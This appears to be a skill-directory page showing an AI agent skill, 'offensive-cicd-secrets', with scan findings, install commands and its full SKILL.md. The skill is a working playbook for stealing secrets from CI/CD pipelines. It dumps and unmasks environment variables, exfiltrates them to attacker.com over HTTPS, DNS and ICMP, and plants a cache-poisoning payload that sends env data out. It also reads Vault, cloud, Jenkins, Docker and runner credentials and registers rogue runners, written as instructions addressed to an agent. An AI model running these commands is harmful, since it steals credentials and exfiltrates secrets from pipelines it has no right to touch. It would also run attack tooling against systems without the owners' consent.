offensive-cicd-secrets skill
Comprehensive secrets extraction methodology targeting CI/CD environments across all major platforms. Covers environment variable extraction from build contexts, exploitation of vault and secrets-manager misconfigurations (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager), runner and agent token abuse for lateral movement, OIDC federation attacks exploiting trust relationships between CI/CD providers and cloud platforms, build log leakage analysis for inadvertently exposed credentials, cache poisoning techniques for credential exfiltration, platform-specific credential store exploitation (GitHub Actions secrets, GitLab CI variables, Jenkins credential providers), service connection and service account abuse in Azure DevOps and GCP, and Docker registry credential theft from build environments. Maps to MITRE ATT&CK T1552 (Unsecured Credentials) and its sub-techniques. Each section provides enumeration procedures, extraction techniques, and post-exploitation pivoting guidance for using recovered secrets to expand access.
Is the offensive-cicd-secrets skill safe?
Read the findings before you install it. We read 1 file in the folder on 2026-09-28.
- high
SKILL.md:456Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
cat ~/.docker/config.json 2>/dev/null | jq '.' - low
SKILL.md:1The description is over 1,024 characters, the limit agents read.
1058 characters
Install the offensive-cicd-secrets skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/cicd/offensive-cicd-secrets ~/.claude/skills/offensive-cicd-secrets
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Offensive CI/CD Secrets Extraction
Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords, database connection strings -- and the mechanisms protecting them are consistently weaker than those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines need credentials to deploy, but the environments executing pipelines are transient, shared, and often accessible to anyone who can open a pull request.
This skill systematically covers every extraction path across CI/CD platforms, from trivial environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets exist, determine which extraction technique applies, recover the credentials, and pivot to expand your access.
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004 (Private Keys), T1552.007 (Container API)
Quick Workflow
- Gain code execution in a CI/CD pipeline (see offensive-cicd-pipeline skill for injection vectors).
- Enumerate the execution environment -- platform, runner type, available tools, network access.
- Dump all environment variables and filter for secrets patterns.
- Query platform-specific credential stores using available tokens (GITHUBTOKEN, CIJOB_TOKEN, PAT).
- Check for vault/secrets-manager integrations and test for misconfigurations.
- Examine build logs, caches, and artifacts for leaked credentials.
- Test OIDC federation trust if cloud provider integration is present.
- Validate recovered credentials and determine their scope.
- Pivot using recovered secrets to access additional systems, registries, and cloud resources.
Environment Variable Extraction
Every CI/CD platform injects secrets as environment variables. Your first action in any compromised pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but the masking is trivially bypassed.
Direct Extraction
# Full environment dump -- works on all platforms
env | sort
# Base64 encode to bypass log masking
env | base64
# Reverse the string to defeat pattern-matching masks
env | rev
# Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
# Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'Targeted Pattern Matching
# Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
# Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9\-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
# Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'Exfiltration Channels
# HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
# DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
# ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
# Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
# Then upload as artifact through the platform's mechanismVault and Secrets Manager Misconfigurations
CI/CD pipelines frequently integrate with secrets managers. You exploit misconfigurations in how pipelines authenticate to and retrieve secrets from these systems.
HashiCorp Vault
# Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_ADDR"
echo "VAULT_TOKEN: $VAULT_TOKEN"
echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
# If VAULT_TOKEN is present, enumerate accessible secrets
vault secrets list 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
# List and read KV secrets
vault kv list secret/ 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
# Attempt to read common secret paths
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
echo "--- $path ---"
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
done
# If AppRole credentials are available, authenticate
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login" \
-d "{\"role_id\": \"$VAULT_ROLE_ID\", \"secret_id\": \"$VAULT_SECRET_ID\"}" | jq '.'
# Check token capabilities -- often over-permissioned for CI
curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN" \
"$VAULT_ADDR/v1/sys/capabilities-self" \
-d '{"paths": ["secret/*", "aws/*", "database/*", "sAWS Secrets Manager and Parameter Store
# Check for AWS credentials in the environment
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
# Check if running on EC2 with instance metadata
curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# List all secrets in Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
# Extract secret values
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' | \
while read name; do
echo "=== $name ==="
aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null
done
# SSM Parameter Store -- often contains credentials with weak IAM boundaries
aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/nullAzure Key Vault
# Check for Azure managed identity
curl -sS -m 2 -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
2>/dev/null | jq '.access_token'
# List Key Vaults accessible to the current identity
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
# Extract all secrets from a vault
VAULT_NAME="target-vault"
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv | \
while read name; do
echo "=== $name ==="
az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv
done
# Extract certificates and keys
az keyvault certificate list --vault-name "$VAULT_NAME" --output table
az keyvault key list --vault-name "$VAULT_NAME" --output tableGCP Secret Manager
# Check for GCP credentials
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
# Use metadata server for default credentials
curl -sS -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
# List all secrets in the project
gcloud secrets list --format='table(name, replication.automatic)'
# Extract secret values
gcloud secrets list --format='value(name)' | while read name; do
echo "=== $name ==="
gcloud secrets versions access latest --secret="$name" 2>/dev/null
doneOIDC Federation Attacks
OIDC federation allows CI/CD pipelines to authenticate to cloud providers without storing long-lived credentials. You exploit trust misconfigurations in the federation setup to assume roles from unauthorized contexts.
GitHub Actions OIDC
# GitHub Actions requests an OIDC token from the GitHub token endpoint
# The token contains claims about the workflow context
steps:
- name: Extract OIDC token and examine claims
run: |
# Request the OIDC token
OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')
# Decode and examine the claims (header.payload.signature)
echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# The claims include:
# sub: repo:org/repo:ref:refs/heads/main
# repository: org/repo
# ref: refs/heads/main
# If the AWS role trust policy is overly permissive (e.g., trusts any ref
# or any repo in the org), you can assume it from a fork or feature branchAttack scenario -- overly broad trust policy:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:target-org/*"
}
}
}]
}# This trust policy accepts ANY repository in the org
# If you can create a repo in the org or find any repo with Actions write access,
# you can assume this role
# From your controlled workflow in any org repo:
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role" \
--role-session-name "exploit" \
--web-identity-token "$OIDC_TOKEN"GitLab CI OIDC
# GitLab CI can also issue OIDC tokens
extract_oidc:
script:
- |
# GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# Claims include namespace_path, project_path, ref, ref_protected
# Misconfigured trust policies may not validate ref_protected or project_path
# Assume AWS role using GitLab OIDC token
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
--role-session-name "gitlab-exploit" \
--web-identity-token "$CI_JOB_JWT_V2"
id_tokens:
CUSTOM_TOKEN:
aud: https://aws.amazon.comBuild Log and Cache Exploitation
Build logs and caches frequently contain credentials leaked through careless scripting, verbose output modes, or debug configurations.
Log Analysis
# GitHub Actions: Retrieve workflow run logs via API
# Requires a token with actions:read scope
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/OWNER/REPO/actions/runs" | \
jq '.workflow_runs[:10] | .[].id' | while read run_id; do
curl -sS -L -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs" \
-o "run_${run_id}.zip"
unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null
done
# Search extracted logs for leaked secrets
grep -rihE '(password|secret|token|key|credential)[\s]*[=:][\s]*\S+' logs_*/ 2>/dev/null
grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_*/ 2>/dev/null
grep -rihE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
# Jenkins: Build console output often contains unmasked secrets
curl -sS -u "user:$JENKINS_TOKEN" \
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" | \
grep -iE 'password|secret|token|key'Cache Poisoning for Exfiltration
# GitHub Actions: Poison the build cache to exfiltrate secrets on next run
# First run: inject exfiltration script into cached dependencies
steps:
- uses: actions/cache@v4
with:
path: ~/.npm
key: npm-cache-${{ hashFiles('package-lock.json') }}
- run: |
# Inject into a cached module that executes during install
mkdir -p ~/.npm/_preinstall
cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD'
#!/bin/bash
env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil &
PAYLOAD
chmod +x ~/.npm/_preinstall/exfil.sh
# Modify a cached package's install script to trigger itGitLab CI shared caches work similarly -- inject a payload into node_modules/ with cache: policy: push, and the deploy job pulling the same cache key executes it.
Platform-Specific Credential Stores
Each CI/CD platform has its own credential storage mechanism with distinct extraction techniques.
GitHub Actions Secrets
# GitHub Actions secrets are injected as environment variables
# They are masked in logs but accessible programmatically
# List all secrets available to the workflow (names only, via API)
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
# Organization-level secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
# Repository environment secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" | \
jq '.environments[].name' | while read env_name; do
echo "=== Environment: $env_name ==="
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.'
done
# Values require code execution in the pipeline context -- use env dump techniques aboveJenkins Credential Store
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins
def store = Jenkins.instance.getExtensionList(
'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()
store.getDomains().each { domain ->
store.getCredentials(domain).each { cred ->
println "=== ${cred.id} (${cred.class.simpleName}) ==="
if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
println "---"
}
}For offline decryption of credentials.xml, you need secrets/master.key and secrets/hudson.util.Secret from the Jenkins home directory. Hash the master key with SHA-256, use the first 16 bytes to AES-ECB-decrypt the hudson secret, then use that as the AES-128-CBC key (IV is bytes 1-17 of the encrypted blob) to decrypt individual credential entries.
GitLab CI Variables
# Extract variables using CI_JOB_TOKEN (limited scope)
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
# With a personal access token or impersonation token (broader scope)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | \
jq '.[] | {key, value, protected, masked, environment_scope}'
# Group variables (inherited by all projects in the group)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" | \
jq '.[] | {key, value, protected}'
# Instance variables (requires admin access)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
# File-type variables are written to disk -- find them
find /builds -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "*.json" 2>/dev/null | \
while read f; do echo "=== $f ==="; cat "$f"; doneDocker Registry Credential Theft
CI/CD pipelines that build and push container images store Docker registry credentials. You extract them from the runner filesystem, environment variables, or the Docker credential helper chain.
# Check Docker configuration for stored credentials
cat ~/.docker/config.json 2>/dev/null | jq '.'
# Look for credHelpers, credStore, and direct auths entries
# Extract from Docker credential helpers
docker-credential-gcr list 2>/dev/null
docker-credential-ecr-login list 2>/dev/null
docker-credential-desktop list 2>/dev/null
# For each credential helper, get the stored credentials
for helper in gcr ecr-login desktop secretservice pass; do
echo "=== docker-credential-$helper ==="
echo "" | docker-credential-$helper list 2>/dev/null | \
jq -r 'keys[]' 2>/dev/null | while read registry; do
echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.'
done
done
# Check for registry tokens in environment
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
# GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
# AWS ECR -- extract temporary credentials
aws ecr get-login-password --region us-east-1
# GCP Artifact Registry
gcloud auth print-access-tokenService Connections and Runner Tokens
Cloud service connections and runner tokens provide direct pivot paths from CI/CD into infrastructure.
# Azure DevOps service connections -- credentials injected as env vars
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
az role assignment list --assignee "$ARM_CLIENT_ID" --output table
# GCP service account keys on runners
find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
# AWS cross-account role assumption
aws sts get-caller-identityRunner tokens enable job interception and rogue runner registration:
# GitHub Actions self-hosted runner credentials
cat /home/runner/.runner 2>/dev/null | jq '.'
cat /home/runner/.credentials 2>/dev/null
find / -path "*actions-runner*" -name ".runner" 2>/dev/null
# GitLab runner token extraction
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
# Claim jobs with a stolen GitLab runner token
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request" \
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
# Jenkins agent secret files
find / -name "secret.key" -path "*/jenkins/*" 2>/dev/nullDetection / Defender View
Defenders should implement these controls and monitor for these indicators:
- Environment variable access patterns: Alert when pipeline steps execute env, printenv, or access /proc/self/environ outside expected debugging contexts.
- Outbound data exfiltration: Monitor runner network traffic for
More skills from SnailSploit/Claude-Red
- Aoffensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
- Aoffensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
- Coffensive-ai-security
- Aoffensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
- Aoffensive-api-abuseAdvanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
- Aoffensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
- Aoffensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
- Aoffensive-bluetooth-classicBluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.
- Aoffensive-bug-identification
- Aoffensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
- Aoffensive-c2-frameworksCommand and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).
- Doffensive-cicd-pipelineComprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.